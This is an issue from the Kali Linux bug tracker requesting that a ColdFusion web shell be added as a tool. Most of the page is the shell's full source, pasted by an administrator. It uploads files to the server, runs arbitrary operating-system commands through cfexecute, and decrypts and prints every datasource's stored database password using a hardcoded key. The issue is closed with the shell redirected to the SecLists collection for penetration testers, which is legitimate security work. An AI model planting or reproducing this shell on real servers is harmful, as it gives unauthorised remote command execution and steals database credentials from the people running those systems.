View Issue Details

IDProjectCategoryView StatusLast Update
0001002Kali Linux[All Projects] New Tool Requestspublic2020-03-25 13:26
Reporteroffsec_student1 Assigned Tog0tmi1k  
PrioritynormalSeverityfeatureReproducibilityalways
Status closedResolutionno change required 
Product Version 
Target VersionFixed in Version 
Summary0001002: ColdFusion Shell Web Shell
DescriptionFound a ColdFusion WebShell that allows file uploads and file execution.

Successfully tested on ColdFusion 8

I didn't write the code but it can be found at:

http://pastebin.com/3HKGQCWF

Activities

g0tmi1k

2018-01-29 14:48

administrator   ~0008371

To help speed up the process of evaluating the tool, please make sure to include the following information (the more information you include, the more beneficial it will for us):

- [Name] - The name of the tool
- [Version] - What version of the tool should be added?
--- If it uses source control (such as git), please make sure there is a release to match (e.g. git tag)
- [Homepage] - Where can the tool be found online? Where to go to get more information?
- [Download] - Where to go to get the tool?
- [Author] - Who made the tool?
- [Licence] - How is the software distributed? What conditions does it come with?
- [Description] - What is the tool about? What does it do?
- [Dependencies] - What is needed for the tool to work?
- [Similar tools] - What other tools are out there?
- [How to install] - How do you compile it?
- [How to use] - What are some basic commands/functions to demonstrate it?

g0tmi1k

2020-02-10 18:04

administrator   ~0012182

Pastebin has been deleted

https://web.archive.org/web/20170322222809/http://pastebin.com/3HKGQCWF

g0tmi1k

2020-02-10 18:04

administrator   ~0012183

```
<html>
<body>
 
<!-- orig author: kGrutzmacher -->
<!-- additshonz: lawKnee -->
Notes:


  • For Windows put this as command "c:\windows\system32\cmd.exe /c" or wherever cmd.exe is

  • For Windows options are the command you want to run "dir" "type" etc


 
<cfoutput>
 
<cfif isDefined("fileUpload")>
  <cffile action="upload"
    fileField="fileUpload"
    destination="C:\">
     

Your file has been uploaded.


</cfif>
<form enctype="multipart/form-data" method="post">
<input type="file" name="fileUpload" />

<input type="submit" value="Upload File" />
</form>
 
 
<table>
<form method="POST" action="">
<tr><td>Command:</td><td><input type=text name="cmd" size=50
 <cfif isdefined("form.cmd")>value="#form.cmd#"</cfif>>
</td></tr>
<tr><td>Options:</td><td> <input type=text name="opts" size=50
 <cfif isdefined("form.opts")>value="#form.opts#"</cfif>>
</td></tr>
<tr><td>Timeout:</td><td> <input type=text name="timeout" size=4
 <cfif isdefined("form.timeout")>value="#form.timeout#"
 <cfelse>value="5"</cfif>></td></tr>
</table>
<input type=submit value="Exec" >
</form>
 
<cfif isdefined("form.cmd")>
<cfsavecontent variable="myVar">
<cfexecute name = "#Form.cmd#"
  arguments = "#Form.opts#"
  timeout = "#Form.timeout#">
</cfexecute>
</cfsavecontent>
#HTMLCodeFormat(myVar)#

</cfif>
 
<cfscript>
//The following code borrowed from hernanOchoa @hexale (thx)
//added better formatting on output and connection string [lb]
 
// Create Data Source Object
dataSourceObb=createobject("java","coldfusion.server.ServiceFactory").
        getDatasourceService().getDatasources();
        writeoutput("

Datasource Credentials:
");
        writeoutput("<table>");
// Loop Through DataSources
for(i in dataSourceObb) {
        if(len(dataSourceObb[i]["password"])){
 
        // Get url
        theurl=(dataSourceObb[i]["url"]);
 
        // Get username
        username=(dataSourceObb[i]["username"]);
 
        // Get and decrypt password
        decryptPassword=Decrypt(dataSourceObb[i]["password"],
        generate3DesKey("0yJ!@1$r8p0L@r1$6yJ!@1rj"), "DESede",
     "Base64");
         
        // Output datasource usernames, passwords, and urls
        writeoutput("" &
        "<tr><td>DataSource: " & i & "</td>" &
        "<td>Username: " & username & "</td>" &
        "<td>Password: " & decryptPassword &
        "<td>URL: " & theurl & "</td></tr>");
        }
}
writeoutput("</table>
");
</cfscript>
</cfoutput>
</body>
</html>
```

g0tmi1k

2020-03-25 13:04

administrator   ~0012520

My gut says this would be better for the seclists project - will add it there :)

g0tmi1k

2020-03-25 13:26

administrator   ~0012537

https://github.com/danielmiessler/SecLists/pull/400

Issue History

Date Modified Username Field Change
2014-01-29 09:38 offsec_student1 New Issue
2018-01-29 14:48 g0tmi1k Note Added: 0008371
2018-02-21 09:35 g0tmi1k Product Version 1.0.4 =>
2019-12-09 13:30 g0tmi1k Severity minor => feature
2020-02-10 18:04 g0tmi1k Note Added: 0012182
2020-02-10 18:04 g0tmi1k Note Added: 0012183
2020-03-25 13:04 g0tmi1k Note Added: 0012520
2020-03-25 13:20 g0tmi1k Assigned To => g0tmi1k
2020-03-25 13:20 g0tmi1k Status new => closed
2020-03-25 13:20 g0tmi1k Resolution open => no change required
2020-03-25 13:26 g0tmi1k Note Added: 0012537